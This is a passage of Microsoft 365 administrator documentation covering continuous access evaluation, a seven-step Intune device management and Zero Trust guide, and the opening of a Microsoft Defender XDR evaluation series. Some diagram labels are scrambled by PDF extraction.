A user account's password has been compromised so an administrator invalidates
all existing sessions and resets their password from the Microsoft 365 admin
center. In near real time, all existing user sessions with Microsoft 365 services are
invalidated.
A user working on a document in Word takes their tablet to a public coffee shop
that is not in an administrator-defined and approved IP address range. At the
coffee shop, the user's access to the document is blocked immediately.
For Microsoft 365, continuous access evaluation is currently supported by the:
Exchange, SharePoint, and Teams services.

Outlook, Teams, Office, and OneDrive in a web browser and for the Win32, iOS,
Android, and Mac clients.
Microsoft is working on additional Microsoft 365 services and clients to support

continuous access evaluation.
Continuous access evaluation will be included in all versions of Office 365 and Microsoft
365. Configuring Conditional Access policies requires Microsoft Entra ID P1, which is
included in all Microsoft 365 versions.
７ Note
See this article for the limitations of continuous access evaluation.
Scenarios supported by Microsoft 365

Continuous access evaluation supports two types of events:
Critical events are those in which a user should lose access.

Conditional Access policy evaluation occurs when a user should lose access to a
resource based on an administrator-defined policy.
Critical events include:
User account is disabled

Password is changed
User sessions are revoked
Multifactor authentication is enabled for the user
Account risk increased based on the evaluation of the access from Microsoft Entra
ID Protection
Conditional Access policy evaluation occurs when the user account is no longer
connecting from a trusted network.
The following Microsoft 365 services currently support continuous access evaluation by
listening to events from Microsoft Entra ID.
ﾉ Expand table
Enforcement type Exchange SharePoint Teams
Critical events:
User revocation Supported Supported Supported
User risk Supported Not supported Supported
Conditional Access policy evaluation:
IP address location policy Supported Supported* Supported**
* SharePoint Office web browser access supports instant IP policy enforcement by

enabling strict mode. Without strict mode, access token lifetime is one hour.
** Calls, meetings, and chat in Teams do not conform to IP-based Conditional Access
policies.
For more information about how to set up a Conditional Access policy, see this article.
Microsoft 365 clients supporting continuous

access evaluation
Continuous access evaluation-enabled clients for Microsoft 365 support a claim
challenge, which is a redirect of a user session to Microsoft Entra ID for reauthentication,
when a cached user token is rejected by a continuous access evaluation-enabled
Microsoft 365 service.
The following clients support continuous access evaluation on web, Win32, iOS, Android,
and Mac:
Outlook
Teams
Office*
SharePoint
OneDrive
* Claim challenge is not supported on Office for web.
For clients that don't support continuous access evaluation, the access token lifetime to
Microsoft 365 remains as one hour by default.
See also
Continuous access evaluation
Conditional Access documentation
Microsoft Entra ID Protection documentation
Feedback

Manage devices with Intune Overview
Article • 04/17/2024
A core component of enterprise-level security includes managing and protecting

devices. Whether you’re building a Zero Trust security architecture, hardening your
environment against ransomware, or building in protections to support remote workers,
managing devices is part of the strategy. While Microsoft 365 includes several tools and
methodologies for managing and protecting devices, this guidance walks through
Microsoft’s recommendations using Microsoft Intune. This is the right guidance for you
if you:
Plan to enroll devices into Intune through Microsoft Entra join (including Microsoft
Entra hybrid join).
Plan to manually enroll devices into Intune.
Allow BYOD devices with plans to implement protection for apps and data and/or
enroll these devices to Intune.
On the other hand, if your environment includes plans for co-management including
Microsoft Configuration Manager, see Co-management documentation to develop the
best path for your organization. If your environment includes plans for Windows 365
Cloud PC, see Windows 365 Enterprise documentation to develop the best path for your
organization.
Watch this video for an overview of the deployment process.
https://www.microsoft.com/en-us/videoplayer/embed/RE4Y4fC?postJsllMsg=true
Why manage endpoints?

The modern enterprise has an incredible diversity of endpoints accessing their data. This
setup creates a massive attack surface, and as a result, endpoints can easily become the
weakest link in your Zero Trust security strategy.
Mostly driven by necessity as the world shifted to a remote or hybrid work model, users
are working from anywhere, from any device, more than anytime in history. Attackers
are quickly adjusting their tactics to take advantage of this change. Many organizations
face constrained resources as they navigate these new business challenges. Virtually
overnight, companies have accelerated digital transformation. Simply stated, the way
people work has changed. We no longer expect to access the myriad of corporate
resources only from the office and on company-owned devices.
Gaining visibility into the endpoints accessing your corporate resources is the first step
in your Zero Trust device strategy. Typically, companies are proactive in protecting PCs
from vulnerabilities and attack while mobile devices often go unmonitored and without
protections. To ensure you’re not exposing your data to risk, we need to monitor every
endpoint for risks and employ granular access controls to deliver the appropriate level
of access based on organizational policy. For example, if a personal device is jailbroken,
you can block access to ensure that enterprise applications aren't exposed to known
vulnerabilities.
This series of articles walks through a recommended process for managing devices that
access your resources. If you follow the recommended steps, your organization will
achieve very sophisticated protection for your devices and the resources they access.
Implementing the layers of protection on and

for devices
Protecting the data and apps on devices and the devices themselves is a multi-layer
process. There are some protections you can gain on unmanaged devices. After
enrolling devices into management, you can implement more sophisticated controls.
When threat protection is deployed across your endpoints, you gain even more insights
and the ability to automatically remediate some attacks. Finally, if your organization has
put the work into identifying sensitive data, applying classification and labels, and
configuring Microsoft Purview Data Loss Prevention policies, you can obtain even more
granular protection for data on your endpoints.
The following diagram illustrates building blocks to achieve a Zero Trust security posture
for Microsoft 365 and other SaaS apps that you introduce to this environment. The
elements related to devices are numbered 1 through 7. Device admins will coordinate
with other administrators to accomplish these layers of protection.
SharePoint sites, 7
Microsoft 365
productivity apps:
On-premises file
shares and
govern
sensitive

sensitivity labels
6 Monitor device risk Create Defender for

Defend
365 Endpoint Apps
5 Deploy Intune configuration profiles to harden devices against threats
4 Configure Enterprise (recommended) Zero Trust identity and device access policies
3 Configure compliance policies

2 Enroll devices into management

Zero trust
foundation 1 Configure Starting point Zero Trust identity

ﾉ Expand table
Step Description Licensing

requirements
1 Configure starting- Work with your identity administrator to Implement E3, E5, F1, F3,
point Zero Trust Level 2 App Protection Policies (APP) data F5
identity and device protection. These policies don't require that you
access policies manage devices. You configure the APP policies in
Intune. Your identity admin configures a Conditional
Access policy to require approved apps.
Step Description Licensing
requirements
2 Enroll devices to This task requires more planning and time to E3, E5, F1, F3,
Intune implement. Microsoft recommends using Intune to F5
enroll devices because this tool provides optimal
integration. There are several options for enrolling
devices, depending on the platform. For example,
Windows devices can be enrolled by using Microsoft
Entra join or by using Autopilot. You need to review
the options for each platform and decide which
enrollment option is best for your environment. See
Step 2. Enroll devices to Intune for more
information.
3 Configure You want to be sure devices that are accessing your E3, E5, F3, F5
compliance policies apps and data meet minimum requirements, for
example devices are password or pin-protected and
the operating system is up to date. Compliance
policies are the way to define the requirements that
devices must meet. Step 3. Set up compliance
policies helps you configure these policies.
4 Configure Enterprise Now that your devices are enrolled, you can work E3, E5, F3, F5
(recommended) Zero with your identity admin to tune Conditional Access
Trust identity and policies to require healthy and compliant devices.
device access
policies
5 Deploy configuration As opposed to device compliance policies that E3, E5, F3, F5
profiles simply mark a device as compliant or not based on
criteria you configure, configuration profiles actually
change the configuration of settings on a device.
You can use configuration policies to harden devices
against cyberthreats. See Step 5. Deploy
configuration profiles.
6 Monitor device risk In this step, you connect Intune to Microsoft E5, F5
and compliance with Defender for Endpoint. With this integration, you
security baselines can then monitor device risk as a condition for
access. Devices that are found to be in a risky state
are blocked. You can also monitor compliance with
security baselines. See Step 6. Monitor device risk
and compliance to security baselines.
7 Implement data loss If your organization has put the work into identifying E5, F5
prevention (DLP) sensitive data and labeling documents, you can work compliance
with information with your information protection admin to protect add-on
protection sensitive information and documents on your
capabilities devices.
Coordinating endpoint management with Zero
Trust identity and device access policies
This guidance is tightly coordinated with the recommended Zero Trust identity and
device access policies. You'll be working with your identity team to carry through
protection that you configure with Intune into Conditional Access policies in Microsoft
Entra ID.
Here’s an illustration of the recommended policy set with step callouts for the work
you'll do in Intune and the related Conditional Access policies you'll help coordinate in
Microsoft Entra ID.


to change their
Clients that do not
Require approved in if high risk activity is Apply Level 2 App
use modern
apps detected for their Protection Policies
authentication can
Phones and This policy enforces bypass Conditional account. 1 (APP) data protection
tablets mobile app Access policies. (one for each
protection for phones platform)
& tablets.

sign-in risk is low,
medium, or high
PCs and mobile
devices 4 policies (one for
each platform)
Enterprise
(Recommended for
Zero Trust) This policy enforces
Require Intune management Apply Level 2 APP
tablets.
2 3
Require MFA always

Specialized
users)

In Step 1, Implement Level 2 App Protection Policies (APP) you configure the
recommended level of data protection with APP policies. Then you work with your
identity team to configure the related Conditional Access rule to require use of this
protection.
In Steps 2, 3 and 4, you enroll devices into management with Intune, define device
compliance policies, and then coordinate with your identity team to configure the
related Conditional Access rule to only allow access to compliant devices.
Enrolling devices vs. onboarding devices

If you follow this guidance, you'll enroll devices into management using Intune and
you'll onboard devices for the following Microsoft 365 capabilities:
Microsoft Purview (for endpoint data loss prevention (DLP))
The following illustration details how this works using Intune.
1 Microsoft Intune
Organization devices
App Protection Policies (APP)

Mobile device management (MDM)
Configuration profiles to manage settings
Onboarding to Defender for Endpoint
and Microsoft 365 Compliance
2
Microsoft Defender XDR
Threat & Vulnerability

Management
Attack surface reduction
Endpoint detection and response
Investigation and remediation
3
Microsoft 365 Compliance
Microsoft Endpoint DLP


1. Enroll devices into management with Intune.

2. Use Intune to onboard devices to Defender for Endpoint.
3. Devices that are onboarded to Defender for Endpoint are also onboarded for
Microsoft Purview features, including Endpoint DLP.
Note that only Intune is managing devices. Onboarding refers to the ability for a device
to share information with a specific service. The following table summarizes the
differences between enrolling devices into management and onboarding devices for a
specific service.
ﾉ Expand table
Enroll Onboard
Description Enrollment applies to managing Onboarding configures a device to work

devices. Devices are enrolled for with a specific set of capabilities in
management with Intune or Microsoft 365. Currently, onboarding
Configuration Manager. applies to Microsoft Defender for Endpoint
and Microsoft compliance capabilities.
On Windows devices, onboarding involves

toggling a setting in Windows Defender
that allows Defender to connect to the
online service and accept policies that
apply to the device.
Scope These device management tools Onboarding only affects the services that
manage the entire device, apply.
including configuring the device
to meet specific objectives, like
security.
Recommended Microsoft Entra join Intune is the preferred method for

method automatically enrolls devices onboarding devices to Windows Defender
into Intune. for Endpoint, and consequently Microsoft
Purview capabilities.
Note that devices that are onboarded to

Microsoft Purview capabilities using other
methods aren't automatically enrolled for
Defender for Endpoint.
Other methods Other methods of enrollment Other methods for onboarding devices
depend on the platform of the include, in recommended order:
device and whether it's BYOD or Configuration Manager
managed by your organization. Other mobile device management tool
(if the device is managed by one)
Local script
VDI configuration package for
onboarding non-persistent virtual desktop
infrastructure (VDI) devices
Group Policy
Learning for administrators
The following resources help administrators learn concepts about using Intune.
Simplify device management with Microsoft Intune training module
Learn about how the business management solutions through Microsoft 365
provide people with a secure, personalized desktop experience and help
organizations easily manage updates for all devices with a simplified admin
experience.
Evaluate Microsoft Intune
Microsoft Intune helps you protect the devices, apps, and data that the people at
your organization use to be productive. This article tells you how to set up
Microsoft Intune. Setup includes reviewing the supported configurations, signing
up for Intune, adding users and groups, assigning licenses to users, granting admin
permissions, and setting the Mobile Device Management (MDM) authority.
Next step
Go to Step 1. Implement App Protection Policies.
Feedback

Step 1. Implement App Protection
Policies
Article • 04/17/2024
Intune App Protection Policies (APP), sometimes referred to as Mobile Application

Management (MAM), protect corporate data even if a device itself is not managed. This
allows you to enable bring-your-own (BYO) and personal devices at work where users
may be reluctant to “enroll” their device into management. APP ensure corporate data in
the apps you specify cannot be copied and pasted to other apps on the device.
With APP, Intune creates a wall between your organization data and personal data.
The app protection policies define which apps are allowed to access your data.
If a user signs in with their organization credentials, Intune applies a policy at the
app layer to prevent copy and paste of your organization data to personal apps
and to require PIN access to this data.
After creating an App Protection policy, you enforce data protection with a
Conditional Access policy.
This configuration greatly increases your security posture with almost no impact to the
user experience. Employees can use apps like Office and Microsoft Teams, that they
know and love, while at the same time your organization can protect the data contained
within the apps and devices.
If you have custom Line of Business applications that need protection, currently you can
use the app wrapping tool to enable APP with these applications. Or, you can integrate
using the Intune App SDK. When your app has app protection policies applied to it, it
can be managed by Intune and is recognized by Intune as a managed app.
For more information about protecting your Line of Business applications using Intune,
see Prepare apps for mobile application management with Microsoft Intune.
Configuring mobile app protection
device access policies. After you create the Mobile App protection policies in Intune,
work with your identity team to configure the Conditional Access policies in Microsoft
Entra ID that enforce mobile app protection.
This illustration highlights the two policies (also described in the table following the
illustration).


to change their
Clients that do not
use modern
authentication can
This policy enforces bypass Conditional account. (APP) data protection
Phones and
& tablets.

Enterprise
(Recommended for
tablets.
Require MFA always

Specialized
users)

To configure these policies, use the recommended guidance and settings prescribed in
Zero Trust identity and device access policies. The following table links directly to the
instructions for configuring these policies in Intune and Microsoft Entra ID.
ﾉ Expand table
Apply Application Protection One Intune App Protection policy per Microsoft 365
Policies (APP) data protection platform (Windows, iOS/iPadOS, Android). E3 or E5
Require approved apps and app Enforces mobile app protection for phones Microsoft 365
protection and tablets using iOS, iPadOS, or Android. E3 or E5
Next step
Go to Step 2. Enroll devices into management with Intune.
Feedback

Step 2. Enroll devices into management
with Intune
Article • 04/17/2024
There are several ways to secure the endpoint, a term often used to refer to the
combined entity including devices, apps, and user identity. Security policies must be
enforced consistently and reliably not only on the apps but the device itself. Enrolling
the device to Intune and registering with a cloud identity provider, such as Microsoft
Entra ID, is a great start.
Whether a device is a personally owned Bring Your Own Device (BYOD) or a corporate-
owned and fully managed device, it's good to have visibility into the endpoints
accessing your organization’s resources to ensure you’re only allowing healthy and
compliant devices. This includes the health and trustworthiness of mobile and desktop
apps that run on endpoints. You want to ensure those apps are healthy and compliant
and that they prevent corporate data from leaking to consumer apps or services
through malicious intent or accidental means.
The device enrollment process establishes a relationship between the user, the device,
and the Microsoft Intune service. Using Microsoft Intune as a standalone service enables
you to use a single web-based administration console to manage Windows PCs, macOS,
and the most popular mobile device platforms.
This article recommends methods for enrolling devices to Intune. For more information
about these methods and how to deploy each one, see Deployment guidance: Enroll
devices in Microsoft Intune.
Use the guidance in this article together with this illustrated version of enrollment
options for each platform.
PDF | Visio
Updated June 2022
Windows enrollment
There are several options for enrolling Windows 10 and Windows 11 devices. The most
common methods include these two:
Microsoft Entra ID join: Joins the device with Microsoft Entra ID and enables users
to sign in to Windows with their Microsoft Entra credentials. If Auto Enrollment is
enabled, the device is automatically enrolled in Intune. The benefit of auto
enrollment is a single-step process for the user. Otherwise, they'll have to enroll
separately through MDM only enrollment and reenter their credentials. Users
enroll this way either during initial Windows OOBE or from Settings. The device is
marked as a corporate owned device in Intune.
Autopilot: Automates Microsoft Entra join and enrolls new corporate-owned

devices into Intune. This method simplifies the out-of-box experience and removes
the need to apply custom operating system images onto the devices. When
admins use Intune to manage Autopilot devices, they can manage policies,
profiles, apps, and more after they're enrolled. There are four types of Autopilot
deployment:
Self-Deploying Mode (for kiosks, digital signage, or a shared device)
User Driven Mode (for traditional users)
Windows Autopilot for pre-provisioned deployment enables partners or IT staff

to pre-provision a PC running Windows 10 or Windows 11 so that it's fully
configured and business-ready.
Autopilot for existing devices enables you to easily deploy the latest version of
Windows to your existing devices.
For additional options, including enrolling BYOD Windows devices, see, Enroll Windows
devices in Microsoft Intune.
iOS and iPadOS enrollment
For user owned (BYOD) devices, you can let users enroll their personal devices with
Intune using one of the following methods.
Device enrollment is what you may think of as typical BYOD enrollment. It provides
admins with a wide range of management options.
User enrollment is a more streamlined enrollment process that provides admins
with a subset of device management options. This feature is currently in preview.
For organizations that buy devices for their users, Intune supports the following
iOS/iPadOS company-owned device enrollment methods:
Apple's Automated Device Enrollment (ADE)

Apple School Manager
Apple Configurator Setup Assistant enrollment
Apple Configurator direct enrollment
For more information, see Enroll iOS and iPadOS devices in Microsoft Intune.
Android enrollment
There are several options for Android Enrollment depending on the type of device, the
type of enrollment you’d like to support, as well as things like the Android version you're
using or even the manufacturer (particularly Samsung). Most organizations use Android
Work profiles for their end users, particular in BYOD scenarios.
With an Android work profile, the end user’s information is separated distinctly with
data containers as well as separate apps for work and personal use. This is an ideal way
for users to enroll their device while still maintaining the privacy of their own data and
the security of corporate data.
However, if your organization is providing Android devices, you might choose to use
what is called a fully managed (User Affinity) or dedicated (no User Affinity) device.
To learn more about Android enrollment, see Enroll Android devices in Microsoft Intune.
macOS enrollment
Enrollment for macOS can be a tricky subject for lots of IT organizations. Unless a
majority of your users are Mac users, then you may not be managing these types of
devices to a great extent. If you have a small number of macOS users, we recommend
Intune Only Enrollment. If you have a large number of macOS users, we recommend
Intune + Jamf enrollment.
Intune Only enrollment: This is for basic management of macOS devices. It

requires a manual process much like most of the other user-based enrollment
options. But if you have a small number of Mac devices this may be easier than
setting up an entire automated infrastructure just for those few users. With Intune
only enrollment, you have the ability to deploy things such as certificates,
password configurations, and applications. You can also configure compliance
policies and enlighten Conditional Access as well as the ability to enforce
encryption and device wipe.
Intune and Jamf enrollment: For those looking for the deepest support for Mac
management with Jamf + Intune for Conditional Access, Microsoft has a great
solution that combines the extensive Mac management capabilities of Jamf with
Intune compliance with Conditional Access policies. In this scenario you're still fully
managing the device with Jamf while being able to take those signals from Jamf
for increased security.
To learn more about macOS enrollment, see Enroll macOS devices in Microsoft Intune.
Next step
Go to Step 3. Set up compliance policies for devices with Intune.
Feedback

Step 3. Set up compliance policies for
devices with Intune
Article • 04/17/2024
Enrolling devices to Intune gives you the ability to achieve even greater security and
control of data in your environment. Step 2. Enroll devices to Intune details how to
accomplish this using Intune. This article covers the next step, which is to configure
device compliance policies.
You want to be sure devices that are accessing your apps and data meet minimum
requirements. For example, they’re password or pin-protected and the operating system
is up to date. Compliance policies are the way to define the requirements that devices
must meet. Intune uses these compliance policies to mark a device as compliant or non-
compliant. This binary status is passed to Microsoft Entra which can use this status in
Conditional Access rules to allow or prevent a device from accessing resources.
Configuring device compliance policies

device access policies.
This illustration highlights where the work of defining compliance policies fits into the
overall Zero Trust recommended policy set.


to change their
Clients that do not
use modern
authentication can
Phones and
& tablets.

Enterprise
(Recommended for
tablets.
Require MFA always

Specialized
users)

In this illustration, defining device compliance policies is a dependency for achieving the
recommended level of protection within the Zero Trust framework.
To configure device compliance policies, use the recommended guidance and settings
prescribed in Zero Trust identity and device access policies. The following table links
directly to the instructions for configuring these policies in Intune, including the
recommended settings for each platform.
ﾉ Expand table
Policies More information Licensing
Define device compliance policies One policy for each platform Microsoft 365 E3 or E5
Next step
Go to Step 4. Require healthy and compliant devices with Intune.
Feedback

Step 4. Require healthy and compliant
devices with Intune
Article • 04/17/2024
Conditional Access provides additional verification of device status prior to allowing

access to a service. Conditional Access doesn’t work unless you specify conditions. In
Step 3. Set up compliance policies, you defined compliance policies that specify the
minimum requirements a device must meet to access your environment. In this article,
you’ll create the corresponding Conditional Access policy in Microsoft Entra ID to
require compliant devices. This helps keep your corporate data secure while giving users
the ability to work from any device and from any location.
After setting up device compliance policies and assigning these to user groups, Intune
lets Microsoft Entra ID know if a device is compliant or not. To use this status as a
condition for access, you must work with your Microsoft Entra administrator to create a
Conditional Access rule to require compliant PCs and mobile devices.
The recommended Zero Trust identity and device access rule set includes this rule. See
Require compliant PCs and mobile devices, as illustrated below.


to change their
Clients that do not
use modern
authentication can
Phones and
& tablets.

Enterprise
(Recommended for
tablets.
Require MFA always

Specialized
users)

Be sure to:
Coordinate the user groups you assigned to your compliance policies with the user
groups assigned to the Conditional Access policy.
Test out your Conditional Access policies using the What If and Audit Mode
capabilities before fully assigning the Conditional Access policy. This helps you
understand the results of the policy.
Set a grace period in line with the confidentiality of the data and/or app being
accessed.
Make sure your compliance policies don't interfere with any regulatory or other
compliance requirements.
Understand the device check-in intervals for compliance policies.
Avoid conflicts between compliance policies and configuration profiles.
Understand the outcomes if you choose to.
To troubleshoot device profiles in Intune, including conflicts between policies, see

Common questions and answers with device policies and profiles in Microsoft Intune.
Note: If you want to start by requiring compliant PCs, but not mobile devices, see
Require compliant PCs (but not phones and tablets)
Next steps
Go to Step 5. Deploy device profiles in Microsoft Intune
Feedback

Step 5. Deploy device profiles in
Microsoft Intune
Article • 04/17/2024
Microsoft Intune includes settings and features you can enable or disable on different
devices within your organization. These settings and features are added to
"configuration profiles." You can create profiles for different devices and different
platforms, including iOS/iPadOS, Android device administrator, Android Enterprise, and
Windows. Then, use Intune to apply or "assign" the profile to the devices.
This article provides guidance on getting started with configuration profiles.
Configuration profiles give you the ability to configure important protection and to
bring devices into compliance so they can access your resources. Previously, these kinds
of configuration changes were configured by using Group Policy settings in Active
Directory Domain Services. A modern security strategy includes moving security controls
to the cloud where enforcement of these controls isn't dependent on on-premises
resources and access. Intune configuration profiles are the way to transition these
security controls to the cloud.
To give you an idea of the kind of configuration profiles you can create, see Apply
features and settings on your devices using device profiles in Microsoft Intune.
Deploy Windows security baselines for Intune

As a starting point, if you want to align your device configurations to Microsoft security
baselines, we recommend the security baselines within Microsoft Intune. The advantage
of this approach is you can rely on Microsoft to keep the baselines up to date as
Windows 10 and 11 features are released.
To deploy the Windows security baselines for Intune, available for Windows 10 and
Windows 11. See Use security baselines to configure Windows devices in Intune to learn
about the available baselines.
For now, just deploy the most appropriate MDM security baseline. See Manage security
baseline profiles in Microsoft Intuneto create the profile and choose the baseline
version.
Later, when Microsoft Defender for Endpoint is set up and you’ve connected Intune,
deploy the Defender for Endpoint baselines. This topic is covered in the next article in
this series: Step 6. Monitor device risk and compliance to security baselines.
It's important to understand that these security baselines aren't CIS or NIST compliant
but closely mirror their recommendations. For more information, see Are the Intune
security baselines CIS or NIST compliant?
Customize configuration profiles for your

organization
In addition to deploying the pre-configured baselines, many enterprise-scale
organizations implement configuration profiles for more granular control. This
configuration helps reduce the dependency on Group Policy Objects in the on-premises
Active Directory environment and move security controls to the cloud.
The many settings you can configure by using configuration profiles can be grouped
into four categories, as illustrated below.
The following table describes the illustration.
ﾉ Expand table
Category Description Examples
Device features Controls features on the device. This category Airprint, notifications, lock
only applies to iOS/iPadOS and macOS screen messages
devices.
Device Controls security, hardware, data sharing, and Require a PIN, data
restrictions more settings on the devices encryption
Access Configures a device to access your Email profiles, VPN profiles,

configuration organization’s resources Wi-Fi settings, certificates
Custom Set custom configuration or execute custom Set OEM settings, execute
configuration actions PowerShell scripts
When customizing configuration profiles for your organization, use the following
guidance:
Simplify your security governance strategy by keeping the overall number of

policies small.
Group settings into the categories listed above, or categories that make sense for
your organization.
When moving security controls from Group Policy Objects (GPO) to Intune
configuration profiles, consider whether the settings configured by each GPO are
still relevant, and needed to contribute to your overall cloud security strategy.
Conditional Access and the many policies that can be configured across cloud
services, including Intune, provide more sophisticated protection than could be
configured in an on-premises environment where custom GPOs were originally
designed.
Utilize Group Policy Analytics to compare and map your current GPO settings to
capabilities within Microsoft Intune. See Analyze your on-premises group policy
objects (GPO) using Group Policy analytics in Microsoft Intune.
When utilizing custom configuration profiles, be sure to use the guidance here:
Create a profile with custom settings in Intune.
Additional resources
If you're not sure where to start with device profiles, the following can help:
Guided scenarios
Security baselines
If your environment includes on-prem GPOs, the following features are a good
transition to the cloud:
Group Policy analytics

Admin templates (ADMX)
Settings Catalog
Next step
Go to Step 6. Monitor device risk and compliance to security baselines.
Feedback

Step 6. Monitor device risk and
compliance for security baselines
Article • 04/17/2024
After your organization deploys Microsoft Defender for Endpoint, you can gain greater
insights and protection of your devices by integrating Microsoft Intune with Defender
for Endpoint. For mobile devices, this includes the ability to monitor device risk as a
condition for access. For Windows devices, you can monitor compliance of these devices
to security baselines.
Deploying Microsoft Defender for Endpoint includes onboarding endpoints. If you used
Intune to onboard endpoints (recommended), then you've connected Microsoft Intune
to Defender for Endpoint. If you used a different method to onboard endpoints to
Defender for Endpoint, see Configure Microsoft Defender for Endpoint in Intune to
ensure you set up the service-to-service connection between Intune and Microsoft
In this article:
Microsoft Intune Microsoft Defender XDR
Monitor device risk
App Protection Policies (APP) Shared signals

Monitor compliance
Mobile device management (MDM) to security baselines
Configuration profiles to manage settings
Integration with Defender for Endpoint to
monitor device risk and compliance to
Threat & Vulnerability
security baselines
Management

Organization devices
Microsoft Defender for Endpoint greatly increases the sophistication of threat

protection for devices.
Microsoft Intune allows you to set App Protection Policies and manage devices
(including configuration changes). Defender for Endpoint continuously monitors
your devices for threats, and can take automated action to remediate attacks.
You can use Intune to onboard devices to Defender for Endpoint, which enables
these devices to work with Microsoft Purview Endpoint Data Loss Prevention (DLP).
This article includes these steps:
Monitor device risk

Monitor compliance for security baselines
If Defender for Endpoint hasn’t already been set up, work with your threat protection
admin to set up the evaluation and pilot environment. You can work with the pilot group
to try out the capabilities in this article.
Monitor device risk as a condition for access

With Microsoft Defender for Endpoint deployed, you can take advantage of threat risk
signals. This allows you to block access to devices based on their risk score. Microsoft
recommends allowing access to devices with a risk score of medium or lower.
For Android and iOS/iPadOS, threat signals can be used within your App Protection
Policies (APP). For more information, see Create and assign app protection policy to set
device risk level.
For all platforms, you can set the risk level in the existing device compliance policies. For
more information, see Create a Conditional Access policy.
Deploy security baselines and monitor

compliance for these settings
Applies to: Windows 10, Windows 11
The Step 5. Deploy configuration profiles article recommends getting started with
configuration profiles by using the security baselines, available for Windows 10 and
Windows 11. Microsoft Defender for Endpoint also includes security baselines that
provide settings that optimize all the security controls in the Defender for Endpoint
stack, including settings for endpoint detection and response (EDR). These are also
deployed by using Microsoft Intune.
Ideally, devices onboarded to Defender for Endpoint are deployed both baselines: the
Windows Intune security baseline to initially secure Windows and then the Defender for
Endpoint security baseline layered on top to optimally configure the Defender for
Endpoint security controls.
To benefit from the latest data on risks and threats and to minimize conflicts as
baselines evolve, always apply the latest versions of the baselines across all products as
soon as they're released.
Using Defender for Endpoint, you can monitor compliance for these baselines.

To deploy security baselines and monitor compliance for these settings, use the steps in
this table.
ﾉ Expand table
Step Description
1 Review key concepts and compare the Microsoft Defender for Endpoint and the Windows
Intune security baselines.
See Increase compliance to the Microsoft Defender for Endpoint security baseline to learn
recommendations.
See Use security baselines to configure Windows devices in Intune to review the list of
available security baselines and how to avoid conflicts.
2 Deploy Windows security baseline settings for Intune. If you haven't, see the guidance in
Step 5. Deploy configuration profiles.
3 Deploy Defender for Endpoint baseline settings for Intune. See Manage security baseline
profiles in Microsoft Intune to create the profile and choose the baseline version.
You can also follow the instructions here: Review and assign the Microsoft Defender for
Endpoint security baseline.
4 In Defender for Endpoint, review the Security baseline card on device configuration
management.
Next step
Go to Step 7. Implement DLP with information protection capabilities on endpoints.
Feedback

Step 7. Implement data loss prevention
(DLP) with information protection
capabilities
Article • 04/17/2024
If your organization has already put the time into understanding your data, developing a
data sensitivity schema, and applying the schema, you might be ready to extend
elements of this schema to endpoints by using Microsoft Purview Data Loss Prevention
(DLP) policies.
Endpoint data loss prevention (Endpoint DLP) currently applies to:
Windows 10 and Windows 11

macOS
DLP policies are created by your information protection and governance team. Each DLP
policy defines what elements within a data set to look for, like sensitive information
types or labels, and how to protect this data.
For example, a DLP policy can look for personal data like a passport number. The DLP
policy includes a condition that triggers the policy to take action, such as when a
passport number is shared with people outside your organization. The action the policy
takes can be configured as well. Options range from simply reporting the action to
admins, warning users, or even preventing the data from being shared.
The DLP policy also specifies the location to apply the policy to, such as Exchange email
and SharePoint sites. One of the locations available to admins is devices. If devices are
selected, you can specify which users and user groups to apply the policy to. You can
also specify users and user groups to exclude from the policy.
If your information protection and governance team is ready to extend DLP policies to
endpoints, you need to coordinate with them to enable devices for Endpoint DLP, test
and tune DLP policies, train users, and monitor the results.

Use the following steps to work with your information protection team.
ﾉ Expand table
Step Description
1 Learn about Endpoint DLP.
2 Enable devices for Endpoint DLP. If you onboarded devices to Microsoft Defender for
Endpoint, your devices are already enabled for Endpoint DLP. If your devices aren't
onboarded to Defender for Endpoint, see Get started with Endpoint data loss prevention
for instructions.
3 Work with your information protection and governance team to define, test, and tune
policies. This includes monitoring the results. See these resources:
- Using Endpoint data loss prevention
- Get started with Activity Explorer
Next step
Go to Step 7. Implement data loss prevention (DLP) with information protection
capabilities.
Feedback

Evaluate and pilot Microsoft Defender
XDR security
Article • 04/24/2024
Applies to:
How this article series works

This series is designed to step you through the entire process of setting up a trial XDR
environment, end-to-end, so you can evaluate the features and capabilities of Microsoft
Defender XDR and even promote the evaluation environment straight to production
when you're ready.
If you're new to thinking about XDR security, you can scan the 7 linked articles in this
series to get a feel for how comprehensive the solution is.
How to create the environment

Set up or learn about each technology of this Microsoft XDR
Microsoft Defender for Office
How to investigate and respond using this XDR
Promote the trial environment to production
What is XDR and Microsoft Defender XDR?

XDR security is a step forward in cyber security because it takes the threat data from
systems that were once isolated and unifies them so that you can see patterns and act
on them faster.
For example, Microsoft XDR unifies endpoint (endpoint detection and response or EDR),
email, app, and identity security in one place.
Microsoft Defender XDR is an eXtended detection and response (XDR) solution that
automatically collects, correlates, and analyzes signal, threat, and alert data from across
your Microsoft 365 environment, including endpoint, email, applications, and identities. It
leverages artificial intelligence (AI) and automation to automatically stop attacks, and
remediate affected assets to a safe state.
Microsoft recommendations for evaluating

Microsoft Defender XDR security
Microsoft recommends you create your evaluation in an existing production
subscription of Office 365. This way you will gain real-world insights immediately and
can tune settings to work against current threats in your environment. After you've
gained experience and are comfortable with the platform, simply promote each
component, one at a time, to production.
The anatomy of a cyber security attack

Microsoft Defender XDR is a Cloud-based, unified, pre- and post-breach enterprise
defense suite. It coordinates prevention, detection, investigation, and response across
endpoints, identities, apps, email, collaborative applications, and all of their data.
In this illustration an attack is underway. Phishing email arrives at the Inbox of an

employee in your organization, who unknowingly opens the email attachment. This
installs malware, which leads to a chain of events that could end with the theft of
sensitive data. But in this case, Defender for Office 365 is in operation.
Attack attempts:
Phishing mail User opens Malware is Attacker gets Attacker uses Attacker gets
a mail installed the user the identity to and exfiltrates
attachment identity move laterally sensitive data
Mitigated by:
Defender for Office 365 Defender for Defender for Defender for Cloud Apps 
Endpoint Identity
Exchange Online Protection, part of Microsoft Defender for Office 365, can detect
the phishing email and use mail flow rules (also known as transport rules) to make
certain it never arrives in the Inbox.
Defender for Office 365 uses Safe Attachments to test the attachment and
determine that it's harmful, so the mail that arrives either isn't actionable by the
user, or policies prevent the mail from arriving at all.
Defender for Endpoint manages devices that connect to the corporate network
and detect device and network vulnerabilities that might otherwise be exploited.
Defender for Identity takes note of sudden account changes like privilege
escalation, or high-risk lateral movement. It also reports on easily exploited identity
issues like unconstrained Kerberos delegation, for correction by the security team.
Microsoft Defender for Cloud Apps notices anomalous behavior like impossible-
travel, credential access, and unusual download, file share, or mail forwarding
activity and reports these to the security team.
Microsoft Defender XDR components secure devices,

identity, data, and applications
Microsoft Defender XDR is made up of these security technologies, operating in tandem.
